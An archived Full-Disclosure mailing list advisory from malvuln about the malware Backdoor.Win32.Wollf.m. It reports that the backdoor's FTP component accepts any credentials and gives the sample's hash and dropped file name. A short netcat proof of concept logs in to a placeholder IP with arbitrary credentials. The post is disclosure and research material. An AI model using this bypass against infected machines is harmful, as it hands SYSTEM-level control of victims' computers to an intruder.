lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 31 Dec 2021 03:27:32 -0500
From: malvuln <>
Subject: [FD] Backdoor.Win32.Wollf.m / Authentication Bypass

Discovery / credits: Malvuln - (c) 2021
Original source:

Threat: Backdoor.Win32.Wollf.m
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 55555 and runs with SYSTEM
integrity. The malware has an FTP component that can be enabled using the
FTPD command. Third-party attackers who can reach the server can logon
using any username password combination.
Type: PE32
MD5: b125a9a083447ad7d437e3e7f3ed5325
Vuln ID: MVID-2021-0436
Dropped files: wrm.exe
Disclosure: 12/31/2021

nc64.exe x.x.x.x 21
220 Welcome to X-Ftp server ...
USER malvuln
331 User name okay, need password.
PASS malvuln
230 User logged in, proceed.

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) (TM).

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists